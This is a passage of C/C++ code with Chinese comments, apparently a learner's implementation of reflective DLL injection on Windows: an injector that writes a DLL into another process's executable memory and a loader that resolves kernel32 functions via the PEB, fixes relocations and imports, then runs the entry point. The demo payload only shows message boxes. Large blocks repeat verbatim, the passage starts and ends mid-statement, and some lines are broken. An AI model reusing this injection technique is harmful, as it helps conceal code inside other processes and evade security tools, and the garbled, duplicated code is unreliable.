= new unsigned char[FileSize];ZeroMemory(pBuf, FileSize);int result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL); //读取文件放在开辟的空间里,pBuf为空间句柄 if (result == 0){ printf("\n[-] 文件读取失败"); return FALSE;}//有了句柄就可以创建空间然后写入了,这里的写入我参考的是PE加载器中//ReadFileA与创建空间的方法,其中相当于是在目标进程空间中创造一个"类磁盘"空间HANDLE hFile = CreateFileA(Dllname, GENERIC_READ, //读取权限 FILE_SHARE_READ | FILE_SHARE_WRITE, //允许其他进程读取文件|允许其他进程写入文件 NULL, //不需要特定的安全性 OPEN_EXISTING, //不需要特定的安全性 FILE_ATTRIBUTE_NORMAL, //如果文件存在,则打开文件。如果文件不存在,操作会失败 NULL //普通文件,没有特殊属性。);if (hFile == INVALID_HANDLE_VALUE) { printf("\n[-] CreateFileA failed."); return FALSE;}DWORD FileSize = GetFileSize(hFile, NULL);LPDWORD SizeToRead = 0;//本地暂存unsigned char* pBuf = new unsigned char[FileSize];ZeroMemory(pBuf, FileSize);int result = ReadFile(hFile, pBuf, FileSize, SizeToRead, NULL); //读取文件放在开辟的空间里,pBuf为空间句柄 if (result == 0){ printf("\n[-] 文件读取失败"); return FALSE;}//对接下来开辟的空间进行计算大小PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDos->e_lfanew);PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNt + sizeof(IMAGE_NT_HEADERS));DWORD ImageSize = pNt->OptionalHeader.SizeOfImage;//开辟目标进程中的"类磁盘"空间,大小为前文的FileSize//这里注意申请的地址权限要是可执行的(PAGE_EXECUTE_READWRITE)//这里创建的时候一下子创两个//刚开始没发现,才发现,pAlloc应该+的是FileSize哎呀麻烦了我想想ULONG_PTR TotalSize = ImageSize + ImageSize;printf("\n[+] FileSize : %p", FileSize);printf("\n[+] ImageSize: %p", ImageSize);printf("\n[+] TotalSize: %p", TotalSize);//这里遇到一个问题是,传入的TotaSize大小不够后面节区表的第一个表,好奇怪所以需要修正TotalSize大小LPVOID = VirtualAllocEx(hProc, NULL, TotalSize+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (pDll == NULL) { printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError()); return FALSE;}// 清零目标进程内存SIZE_T sizeToZero = TotalSize; // 需要清零的字节数BYTE* zeroBuffer = (BYTE*)calloc(sizeToZero, 1); // 创建一个全零的缓冲区if (zeroBuffer == NULL) { printf("Failed to allocate zero buffer.\n"); return -1;}// 写入全零到目标内存if (!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) { DWORD errorCode = GetLastError(); printf("WriteProcessMemory failed with error code: %lu\n", errorCode);}// 释放缓冲区free(zeroBuffer);//将dll文件写入进去if (!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) { return FALSE;}//对接下来开辟的空间进行计算大小PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)pBuf;PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDos->e_lfanew);PIMAGE_SECTION_HEADER pSection = (PIMAGE_SECTION_HEADER)((LPBYTE)pNt + sizeof(IMAGE_NT_HEADERS));DWORD ImageSize = pNt->OptionalHeader.SizeOfImage;//开辟目标进程中的"类磁盘"空间,大小为前文的FileSize//这里注意申请的地址权限要是可执行的(PAGE_EXECUTE_READWRITE)//这里创建的时候一下子创两个//刚开始没发现,才发现,pAlloc应该+的是FileSize哎呀麻烦了我想想ULONG_PTR TotalSize = ImageSize + ImageSize;printf("\n[+] FileSize : %p", FileSize);printf("\n[+] ImageSize: %p", ImageSize);printf("\n[+] TotalSize: %p", TotalSize);//这里遇到一个问题是,传入的TotaSize大小不够后面节区表的第一个表,好奇怪所以需要修正TotalSize大小LPVOID = VirtualAllocEx(hProc, NULL, TotalSize+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);if (pDll == NULL) { printf("\n[-] 内存分配失败, 错误代码: %d", GetLastError()); return FALSE;}// 清零目标进程内存SIZE_T sizeToZero = TotalSize; // 需要清零的字节数BYTE* zeroBuffer = (BYTE*)calloc(sizeToZero, 1); // 创建一个全零的缓冲区if (zeroBuffer == NULL) { printf("Failed to allocate zero buffer.\n"); return -1;}// 写入全零到目标内存if (!WriteProcessMemory(hProc, pDll, zeroBuffer, sizeToZero, NULL)) { DWORD errorCode = GetLastError(); printf("WriteProcessMemory failed with error code: %lu\n", errorCode);}// 释放缓冲区free(zeroBuffer);//将dll文件写入进去if (!WriteProcessMemory(hProc, pDll, pBuf, FileSize, NULL)) { return FALSE;}//接下来的活是找dll文件中相当于loadlibrary函数的自写函数Reflectload//注意前文开辟的"类磁盘"空间中的pDll// 假设 ReflectLoader 是目标函数名const char* reflectFuncName = "ReflectLoader";// 获取 ReflectLoader 在目标进程内存中的地址LPVOID pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);if (!pReflectLoader) { printf("[-] Failed to find ReflectLoader.\n"); VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE); return FALSE;}//接下来的活是找dll文件中相当于loadlibrary函数的自写函数Reflectload//注意前文开辟的"类磁盘"空间中的pDll// 假设 ReflectLoader 是目标函数名const char* reflectFuncName = "ReflectLoader";// 获取 ReflectLoader 在目标进程内存中的地址LPVOID pReflectLoader = GetRemoteReflectLoad(pDll, reflectFuncName, pBuf);if (!pReflectLoader) { printf("[-] Failed to find ReflectLoader.\n"); VirtualFreeEx(hProc, pDll, 0, MEM_RELEASE); return FALSE;}//该函数通过分析PE文件头来尝试获取句柄LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf) { //这里因为dll在别的进程里,所以想要看到可以利用前面的pBuf //定位一些相关文件头 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew); PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeaders + sizeof(IMAGE_NT_HEADERS)); //获取导出表地址及大小,注意这里是RVA DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress; DWORD exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size; //定位导出表 //这里遇到一个小问题,得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换 DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeaders, pSec); //转换之后RVA就变成了文件偏移,然后再定位 PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset); //解析导出表,这里同理都是RVA DWORD pRNames = pExportDir->AddressOfNames; DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec); DWORD* pNames = (DWORD*)((BYTE*)pBuf + pFNames); DWORD pRFunctions = pExportDir->AddressOfFunctions; DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec); DWORD* pFunctions = (DWORD*)((BYTE*)pBuf + pFFunctions); WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals; WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec); WORD* pNameOrdinals = (WORD*)((BYTE*)pBuf + pFFunctions); // 遍历查找目标函数 DWORD funcRVA = 0; for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) { DWORD functionNameRVA = pNames[i]; DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec); const char* pName = (char*)((BYTE*)pBuf + functionNameFileOffset); if (strcmp(pName, funcName) == 0) { funcRVA = pFunctions[i]; break; } } if (funcRVA == 0) { printf("\n[-] Function %s not found.", funcName); return NULL; } DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);; DWORD* pfileOffset = (DWORD*)((BYTE*)pBuf + fileOffset); if (fileOffset == 0) { printf("\n[-] Failed to convert RVA to file offset."); return NULL; } LPVOID remoteFuncAddr = (LPBYTE)pDll + fileOffset; return remoteFuncAddr;}//该函数通过分析PE文件头来尝试获取句柄LPVOID GetRemoteReflectLoad(LPVOID pDll, const char* funcName, unsigned char* pBuf) { //这里因为dll在别的进程里,所以想要看到可以利用前面的pBuf //定位一些相关文件头 PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pBuf; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)pBuf + pDosHeader->e_lfanew); PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNtHeaders + sizeof(IMAGE_NT_HEADERS)); //获取导出表地址及大小,注意这里是RVA DWORD exportDirRVA = pNtHeaders->OptionalHeader.DataDirectory[0].VirtualAddress; DWORD exportDirSize = pNtHeaders->OptionalHeader.DataDirectory[0].Size; //定位导出表 //这里遇到一个小问题,得到的偏移地址是RVA,但是咱们的文件现在只是磁盘文件,所以需要转换 DWORD exportDirFileOffset = RVAtoFileOffset((DWORD)exportDirRVA, pNtHeaders, pSec); //转换之后RVA就变成了文件偏移,然后再定位 PIMAGE_EXPORT_DIRECTORY pExportDir = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)pBuf + exportDirFileOffset); //解析导出表,这里同理都是RVA DWORD pRNames = pExportDir->AddressOfNames; DWORD pFNames = RVAtoFileOffset(pRNames, pNtHeaders, pSec); DWORD* pNames = (DWORD*)((BYTE*)pBuf + pFNames); DWORD pRFunctions = pExportDir->AddressOfFunctions; DWORD pFFunctions = RVAtoFileOffset(pRFunctions, pNtHeaders, pSec); DWORD* pFunctions = (DWORD*)((BYTE*)pBuf + pFFunctions); WORD pRNameOrdinals = pExportDir->AddressOfNameOrdinals; WORD pFNameOrdinals = RVAtoFileOffset(pRNameOrdinals, pNtHeaders, pSec); WORD* pNameOrdinals = (WORD*)((BYTE*)pBuf + pFFunctions); // 遍历查找目标函数 DWORD funcRVA = 0; for (DWORD i = 0; i < pExportDir->NumberOfNames; i++) { DWORD functionNameRVA = pNames[i]; DWORD functionNameFileOffset = RVAtoFileOffset(functionNameRVA, pNtHeaders, pSec); const char* pName = (char*)((BYTE*)pBuf + functionNameFileOffset); if (strcmp(pName, funcName) == 0) { funcRVA = pFunctions[i]; break; } } if (funcRVA == 0) { printf("\n[-] Function %s not found.", funcName); return NULL; } DWORD fileOffset = RVAtoFileOffset(funcRVA, pNtHeaders, pSec);; DWORD* pfileOffset = (DWORD*)((BYTE*)pBuf + fileOffset); if (fileOffset == 0) { printf("\n[-] Failed to convert RVA to file offset."); return NULL; } LPVOID remoteFuncAddr = (LPBYTE)pDll + fileOffset; return remoteFuncAddr;}//用于转换RVA->文件偏移地址//传参说明:第一个是要转换的相对虚拟地址,第二个是Nt头的位置,第三个是节区表头的位置DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) { // 遍历节区表 for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { // 检查RVA是否在当前节区的范围内 if (rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) { // 转换RVA到文件偏移地址 return pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress); } } // 如果未找到对应的节区,返回无效值 return 0xFFFFFFFF;}//用于转换RVA->文件偏移地址//传参说明:第一个是要转换的相对虚拟地址,第二个是Nt头的位置,第三个是节区表头的位置DWORD RVAtoFileOffset(DWORD rva, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSec) { // 遍历节区表 for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { // 检查RVA是否在当前节区的范围内 if (rva >= pSec[i].VirtualAddress && rva < pSec[i].VirtualAddress + pSec[i].SizeOfRawData) { // 转换RVA到文件偏移地址 return pSec[i].PointerToRawData + (rva - pSec[i].VirtualAddress); } } // 如果未找到对应的节区,返回无效值 return 0xFFFFFFFF;}// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <windows.h>#include<stdio.h>#include <stdbool.h>#include <winternl.h>extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);wchar_t* ExtractDllName(const wchar_t* fullDllName);void my_wctomb(char* dest, const wchar_t* src);int CompareStrings(const char* str1, const char* str2);// DLL入口点函数BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ // 弹窗代码 MessageBox(NULL, L"哇塞!!你成功啦!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK); char processName[MAX_PATH] = { 0 }; // 存储进程路径的缓冲区 // 获取当前进程的可执行文件路径 DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH); MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK); Sleep(99999999); return TRUE;}// 自定义的宽字符转普通字符的函数void my_wctomb(char* dest, const wchar_t* src) { while (*src) { if (*src >= L'A' && *src <= L'Z') { *dest = (char)(*src + (L'a' - L'A')); // 转换大写字符为小写 } else if (*src >= L'a' && *src <= L'z') { *dest = (char)*src; // 保留小写字符 } else if (*src >= L'0' && *src <= L'9') { *dest = (char)*src; // 保留数字字符 } else { *dest = '?'; // 对于其他字符,可以选择替代字符,例如 '?' } dest++; src++; } *dest = '\0'; // 确保目标字符串以 null 结尾}int CompareStrings(const char* str1, const char* str2) { while (*str2 != '\0') { if (*str1 != *str2) { return 0; // 返回差值 } str1++; str2++; } return 1; // 两个字符串完全匹配时返回0}// 比较两个 DLL 名称(大小写不敏感)int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) { size_t i = 0; while (dllName[i] != L'\0' || targetDllName[i] != L'\0') { // 将两个字符都转换为小写进行比较 wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i]; wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i]; // 如果字符不同,则返回比较结果 if (ch1 != ch2) { return 0; } i++; } // 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等 return 1; // 如果两个字符串完全相同,返回 0}// 提取 DLL 名称的函数wchar_t* ExtractDllName(const wchar_t* fullDllName) { wchar_t* fileName = NULL; wchar_t* temp = (wchar_t*)fullDllName; // 遍历并找到最后一个 '\\',获取文件名部分 while (*temp) { if (*temp == L'\\') { fileName = temp + 1; // 更新文件名的位置 } temp++; } // 如果没有找到 '\\',则认为整个字符串就是文件名 if (!fileName) { fileName = (wchar_t*)fullDllName; } return fileName;}extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll){ //获取磁盘文件的DOS头和NT头 PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll; //赋值DOS头 PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew); //赋值NT头 //给内存分配空间,并对pAlloc进行初始化 DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage; //内存空间大小 PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize); if (pAlloc == NULL) return FALSE; if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE; // 无效的头,直接退出 // 手动实现 CopyMemory 的功能 BYTE* dst = (BYTE*)pAlloc; // 目标内存地址 BYTE* src = (BYTE*)pDll; // 源内存地址 size_t size = pNTheader->OptionalHeader.SizeOfHeaders; // 需要复制的字节数 for (size_t i = 0; i < size; ++i) { dst[i] = src[i]; // 逐字节复制 } //复制节区表 PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS)); DWORD SecNum = pNTheader->FileHeader.NumberOfSections; for (int i = 0; i < SecNum; i++) { if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) { pSec++; continue; } char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData)); char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress)); DWORD dwSizeOfRawData = pSec->SizeOfRawData; DWORD dwVirtualSize = pSec->Misc.VirtualSize; for (DWORD j = 0; j < dwSizeOfRawData; j++) { chDestMem[j] = chSrcMem[j]; } if (dwVirtualSize > dwSizeOfRawData) { char* start = chDestMem + dwSizeOfRawData; char* end = chDestMem + dwVirtualSize; while (start < end) { *start++ = 0; } } pSec++; } //杜哥部分登场 //开始检测并加载重定位表 PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc); //重定位表指针通过NT结构的数据目录表查找到位置 int SizeOfBaseReloc = pNTheader->OptionalHeader.DataDirectory[5].Size;//重定位表的大小也在NT结构中 if (pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress != NULL) { do { PWORD TypeOffset = (WORD*)((PBYTE)pBaseReloc + 8); //跳过前两个元素(不过在有的结构声明中TypeOffset不属于该结构 int num = (pBaseReloc->SizeOfBlock - 8) / 2; //SizeOfBlock规定的是该单元的大小以及TypeOffset是一字的 for (int i = 0; i < num; i++) { WORD type = TypeOffset[i] >> 12; //TypeOffset[i] >> 12相当于在查找TypeOffset的前四字节(类型) WORD offset = TypeOffset[i] & 0x0FFF; //去掉类型(前四字节) int differ = 0; if (type == 3) { differ = *((ULONG_PTR*)(offset + pBaseReloc->VirtualAddress + pAlloc)) - pNTheader->OptionalHeader.ImageBase; ULONG_PTR p = (ULONG_PTR)pAlloc + differ; char* tagetaddr = (char*)(ULONG_PTR)pAlloc + offset + pBaseReloc->VirtualAddress; char* fromeaddr = (char*)p; for (int c = 0;c < 4;c++) { tagetaddr[c] = fromeaddr[c]; } } } SizeOfBaseReloc -= pBaseReloc->SizeOfBlock; //通过字节大小来间接表示个数 pBaseReloc = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseReloc + pBaseReloc->SizeOfBlock);//相当于结构指针++了,不过这么看来TypeOffset好像真不属于这个结构 } while (SizeOfBaseReloc); } //导入表的处理 //因为导入表还没有修复,所以里面的API大部分都是无法使用的,可避免的我都去避免了 // 但是是在无法避免的如,LoadLibrary函数无法找到,就需要通过 // TEB和PEB的帮助找到了 //GetProcAddress的地址 typedef FARPROC(WINAPI* GETPROCADDR)(HMODULE, LPCSTR); //LoadLibrary的地址 typedef HMODULE(WINAPI* LOADLIBRARYA)(LPCSTR); GETPROCADDR pGetProcAddress = NULL; LOADLIBRARYA pLoadLibraryA = NULL; //得到TEB的地址,通过TEB找到PEB PTEB pTEB = (PTEB)__readgsqword(0x30); PPEB pPEB = pTEB->ProcessEnvironmentBlock; // 获取PEB.Ldr PPEB_LDR_DATA pLdr = pPEB->Ldr; // 遍历模块列表,找到 kernel32.dll PLIST_ENTRY pListHead = &pLdr->InMemoryOrderModuleList; PLIST_ENTRY pCurrentEntry = pListHead->Flink; while (pCurrentEntry && pCurrentEntry != pListHead) { PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pCurrentEntry, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks); if (pEntry && pEntry->FullDllName.Buffer) { wchar_t* dllName = pEntry->FullDllName.Buffer; // 提取 DLL 名称 wchar_t* fileName = ExtractDllName(dllName); // 目标 DLL 名称kernel32.dll wchar_t a[50] = { 0 }; a[0] = L'k'; a[1] = L'e'; a[2] = L'r'; a[3] = L'n'; a[4] = L'e'; a[5] = L'l'; a[6] = L'3'; a[7] = L'2'; a[8] = L'.'; a[9] = L'd'; a[10] = L'l'; a[11] = L'l'; a[12] = L'\0'; if (CompareDllName(fileName, a)) { //分析PE文件找到导出表 HMODULE hKernel32 = (HMODULE)pEntry->DllBase; PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)((BYTE*)hKernel32 + ((PIMAGE_DOS_HEADER)hKernel32)->e_lfanew); // 获取导出表的地址 PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)hKernel32 + pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); // 获取导出表的各个信息 DWORD* pFunctionNames = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNames); DWORD* pFunctionAddresses = (DWORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfFunctions); WORD* pFunctionOrdinals = (WORD*)((BYTE*)hKernel32 + pExportDirectory->AddressOfNameOrdinals); // 遍历导出表,查找 LoadLibraryA char targetName1[50] = "LoadLibraryA"; targetName1[0] = 'L'; targetName1[1] = 'o'; targetName1[2] = 'a'; targetName1[3] = 'd'; targetName1[4] = 'L'; targetName1[5] = 'i'; targetName1[6] = 'b'; targetName1[7] = 'r'; targetName1[8] = 'a'; targetName1[9] = 'r'; targetName1[10] = 'y'; targetName1[11] = 'A'; targetName1[12] = '\0'; // 遍历导出表,查找 GetProcAddress char targetName2[50] = { 0 }; targetName2[0] = 'G'; targetName2[1] = 'e'; targetName2[2] = 't'; targetName2[3] = 'P'; targetName2[4] = 'r'; targetName2[5] = 'o'; targetName2[6] = 'c'; targetName2[7] = 'A'; targetName2[8] = 'd'; targetName2[9] = 'd'; targetName2[10] = 'r'; targetName2[11] = 'e'; targetName2[12] = 's'; targetName2[13] = 's'; targetName2[14] = '\0'; int isP = 0; for (DWORD i = 0; i < pExportDirectory->NumberOfNames; i++) { char* functionName = (char*)((BYTE*)hKernel32 + pFunctionNames[i]); if (CompareStrings(functionName, targetName1)) { // 找到函数名,获取其地址 DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]]; pLoadLibraryA = (LOADLIBRARYA)((BYTE*)hKernel32 + functionRVA); isP++; } if (CompareStrings(functionName, targetName2)) { // 找到函数名,获取其地址 DWORD functionRVA = pFunctionAddresses[pFunctionOrdinals[i]]; pGetProcAddress = (GETPROCADDR)((BYTE*)hKernel32 + functionRVA); isP++; } if (isP == 2) { break; } } break; // 找到后退出 } } pCurrentEntry = pCurrentEntry->Flink; } if (!pLoadLibraryA && !pGetProcAddress) { char foece[] = "无法获取 LoadLibraryA 地址,请检查目标进程模块"; return FALSE; } else { char sucsess[] = "sucsess"; } PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(pNTheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc); //这个是IID的指针 if (pImport != NULL) { while (pImport->Name != NULL) { char DLLname[50] = { 0 }; // 定义一个存储 DLL 名称的缓冲区 char* pDLLName = (char*)(pImport->Name + pAlloc); // 获取 DLL 名称的地址 // 手动将名称拷贝到 DLLname 缓冲区 for (int i = 0; i < sizeof(DLLname) - 1; i++) { if (pDLLName[i] == '\0') // 遇到字符串结束符时停止 break; DLLname[i] = pDLLName[i]; // 拷贝字符 } DLLname[sizeof(DLLname) - 1] = '\0'; // 确保缓冲区以 '\0' 结尾 HMODULE hProcess = pLoadLibraryA(DLLname); //通过名称找句柄 if (!hProcess) { return FALSE; } PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc); PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc); while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL) { PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc); //找DLL中函数的名字 if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)//判断如果是序号就是第一种处理方式 { pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));//通过序号来获取地址 } else { pIAT->u1.AddressOfData = (ULONG_PTR)(pGetProcAddress(hProcess, pFucname->Name)); //通过函数名来获取地址 } pINT++; pIAT++; } pImport++; } } //最后的操作就是修正程序的入口地址 PIMAGE_NT_HEADERS pNT = (PIMAGE_NT_HEADERS)(pAlloc + pDOSheader->e_lfanew); FARPROC EOP = (FARPROC)((LPBYTE)pAlloc + pNT->OptionalHeader.AddressOfEntryPoint); EOP(); return TRUE;}// dllmain.cpp : 定义 DLL 应用程序的入口点。#include "pch.h"#include <windows.h>#include<stdio.h>#include <stdbool.h>#include <winternl.h>extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll);int CompareDllName(wchar_t* dllName, wchar_t* targetDllName);wchar_t* ExtractDllName(const wchar_t* fullDllName);void my_wctomb(char* dest, const wchar_t* src);int CompareStrings(const char* str1, const char* str2);// DLL入口点函数BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved){ // 弹窗代码 MessageBox(NULL, L"哇塞!!你成功啦!!!", L"注入程序检测中...", MB_YESNO | MB_ICONASTERISK); char processName[MAX_PATH] = { 0 }; // 存储进程路径的缓冲区 // 获取当前进程的可执行文件路径 DWORD length = GetModuleFileNameA(NULL, processName, MAX_PATH); MessageBoxA(NULL, processName, "当前进程路径: ", MB_YESNO | MB_ICONASTERISK); Sleep(99999999); return TRUE;}// 自定义的宽字符转普通字符的函数void my_wctomb(char* dest, const wchar_t* src) { while (*src) { if (*src >= L'A' && *src <= L'Z') { *dest = (char)(*src + (L'a' - L'A')); // 转换大写字符为小写 } else if (*src >= L'a' && *src <= L'z') { *dest = (char)*src; // 保留小写字符 } else if (*src >= L'0' && *src <= L'9') { *dest = (char)*src; // 保留数字字符 } else { *dest = '?'; // 对于其他字符,可以选择替代字符,例如 '?' } dest++; src++; } *dest = '\0'; // 确保目标字符串以 null 结尾}int CompareStrings(const char* str1, const char* str2) { while (*str2 != '\0') { if (*str1 != *str2) { return 0; // 返回差值 } str1++; str2++; } return 1; // 两个字符串完全匹配时返回0}// 比较两个 DLL 名称(大小写不敏感)int CompareDllName(wchar_t* dllName, wchar_t* targetDllName) { size_t i = 0; while (dllName[i] != L'\0' || targetDllName[i] != L'\0') { // 将两个字符都转换为小写进行比较 wchar_t ch1 = (dllName[i] >= L'A' && dllName[i] <= L'Z') ? dllName[i] + (L'a' - L'A') : dllName[i]; wchar_t ch2 = (targetDllName[i] >= L'A' && targetDllName[i] <= L'Z') ? targetDllName[i] + (L'a' - L'A') : targetDllName[i]; // 如果字符不同,则返回比较结果 if (ch1 != ch2) { return 0; } i++; } // 如果字符串都没有结束且匹配到最后,返回 0 表示完全相等 return 1; // 如果两个字符串完全相同,返回 0}// 提取 DLL 名称的函数wchar_t* ExtractDllName(const wchar_t* fullDllName) { wchar_t* fileName = NULL; wchar_t* temp = (wchar_t*)fullDllName; // 遍历并找到最后一个 '\\',获取文件名部分 while (*temp) { if (*temp == L'\\') { fileName = temp + 1; // 更新文件名的位置 } temp++; } // 如果没有找到 '\\',则认为整个字符串就是文件名 if (!fileName) { fileName = (wchar_t*)fullDllName; } return fileName;}extern "C" __declspec(dllexport) BOOL ReflectLoader(char* pDll){ //获取磁盘文件的DOS头和NT头 PIMAGE_DOS_HEADER pDOSheader = (PIMAGE_DOS_HEADER)pDll; //赋值DOS头 PIMAGE_NT_HEADERS pNTheader = (PIMAGE_NT_HEADERS)(pDll + pDOSheader->e_lfanew); //赋值NT头 //给内存分配空间,并对pAlloc进行初始化 DWORD ImageSize = pNTheader->OptionalHeader.SizeOfImage; //内存空间大小 PBYTE pAlloc = (PBYTE)((ULONG_PTR)pDll + ImageSize); if (pAlloc == NULL) return FALSE; if (pDOSheader->e_magic != IMAGE_DOS_SIGNATURE || pNTheader->Signature != IMAGE_NT_SIGNATURE) return FALSE; // 无效的头,直接退出 // 手动实现 CopyMemory 的功能 BYTE* dst = (BYTE*)pAlloc; // 目标内存地址 BYTE* src = (BYTE*)pDll; // 源内存地址 size_t size = pNTheader->OptionalHeader.SizeOfHeaders; // 需要复制的字节数 for (size_t i = 0; i < size; ++i) { dst[i] = src[i]; // 逐字节复制 } //复制节区表 PIMAGE_SECTION_HEADER pSec = (PIMAGE_SECTION_HEADER)((LPBYTE)pNTheader + sizeof(IMAGE_NT_HEADERS)); DWORD SecNum = pNTheader->FileHeader.NumberOfSections; for (int i = 0; i < SecNum; i++) { if (pSec->SizeOfRawData == 0 || pSec->PointerToRawData == 0) { pSec++; continue; } char* chSrcMem = (char*)((ULONG_PTR)pDll + (DWORD)(pSec->PointerToRawData)); char* chDestMem = (char*)((ULONG_PTR)pAlloc + (DWORD)(pSec->VirtualAddress)); DWORD dwSizeOfRawData = pSec->SizeOfRawData; DWORD dwVirtualSize = pSec->Misc.VirtualSize; for (DWORD j = 0; j < dwSizeOfRawData; j++) { chDestMem[j] = chSrcMem[j]; } if (dwVirtualSize > dwSizeOfRawData) { char* start = chDestMem + dwSizeOfRawData; char* end = chDestMem + dwVirtualSize; while (start < end) { *start++ = 0; } } pSec++; } //杜哥部分登场 //开始检测并加载重定位表 PIMAGE_BASE_RELOCATION pBaseReloc = (PIMAGE_BASE_RELOCATION)((ULONG_PTR)pNTheader->OptionalHeader.DataDirectory[5].VirtualAddress + (ULONG_PTR)pAlloc); //重定位表指针通过NT结构的数据目录表查找到位置 int SizeOfBaseReloc = 